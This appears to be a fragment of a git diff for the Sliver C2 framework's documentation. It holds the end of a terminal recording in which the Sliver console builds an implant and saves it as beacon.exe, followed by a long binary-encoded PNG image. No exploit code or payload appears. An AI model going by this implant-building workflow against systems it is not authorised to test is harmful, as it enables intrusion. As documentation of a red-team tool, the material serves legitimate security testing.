⠹ Compiling, please wait ..."] +[94.686046, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[94.786429, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[94.886842, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[94.987291, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[95.087728, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[95.188065, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[95.288423, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[95.388823, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[95.489225, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[95.589663, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[95.690088, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[95.790472, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[95.890891, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[95.991311, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[96.091792, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[96.192298, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[96.292733, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[96.39317, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[96.493548, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[96.594032, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[96.69446, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[96.794901, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[96.89533, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[96.995767, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[97.072858, "o", "\r\u001b[2K"] +[97.073391, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBuild completed in 1m21s\r\n"] +[97.105542, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mImplant saved to /home/kali/beacon.exe\r\n\r\n"] +[97.105801, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"] +[102.528753, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0me"] +[102.796622, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mex"] +[102.829259, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mexi"] +[102.942614, "o", "\u001b[J\u001b[2K\r"] +[102.942731, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mexit"] +[104.18718, "o", "\u001b[?2004l\r\r\n"] diff --git a/docs/sliver-docs/public/images/cursed-1.png b/docs/sliver-docs/public/images/cursed-1.png new file mode 100644 index 0000000000000000000000000000000000000000..a4a40396bcd766ce4f242afb31ecae5db11575b5 GIT binary patch literal 1699751 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 